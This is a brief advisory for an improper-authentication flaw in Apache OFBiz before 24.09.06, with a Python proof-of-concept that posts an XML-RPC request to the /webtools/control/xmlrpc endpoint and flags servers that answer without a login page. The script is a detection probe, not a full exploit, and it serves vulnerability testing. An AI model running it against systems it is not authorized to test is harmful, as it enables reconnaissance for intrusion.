Improper Authentication vulnerability in Apache OFBiz.
This issue affects Apache OFBiz: before 24.09.06.
Users are recommended to upgrade to version 24.09.06, which fixes the issue.
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-31387: Apache OFBiz Improper Authentication
import requests
def check_vulnerability(target_url):
"""
Checks if the target Apache OFBiz instance is vulnerable to CVE-2026-31387.
Note: This is a generic example based on the Improper Authentication description.
"""
# Attempting to access a restricted endpoint that should require authentication
# Common sensitive paths in OFBiz might include /webtools/control/*
endpoint = "/webtools/control/xmlrpc"
full_url = f"{target_url}{endpoint}"
headers = {
"Content-Type": "application/xml",
"User-Agent": "CVE-2026-31387-Scanner"
}
# A generic XML-RPC payload that might trigger a response if auth is bypassed
payload = """<?xml version="1.0"?>
<methodCall>
<methodName>getServerTime</methodName>
<params>
</params>
</methodCall>"""
try:
response = requests.post(full_url, data=payload, headers=headers, timeout=10, verify=False)
# If the server processes the request without returning a 401/403 or login page redirect,
# it might be vulnerable. Analysis of response content is required for confirmation.
if response.status_code == 200 and "login" not in response.text.lower():
print(f"[+] Potential Vulnerability Detected at {full_url}")
print(f"[+] Status Code: {response.status_code}")
return True
else:
print(f"[-] Target does not appear vulnerable. Status Code: {response.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[!] Error connecting to target: {e}")
return False
if __name__ == "__main__":
target = "http://127.0.0.1:8080" # Replace with actual target
check_vulnerability(target)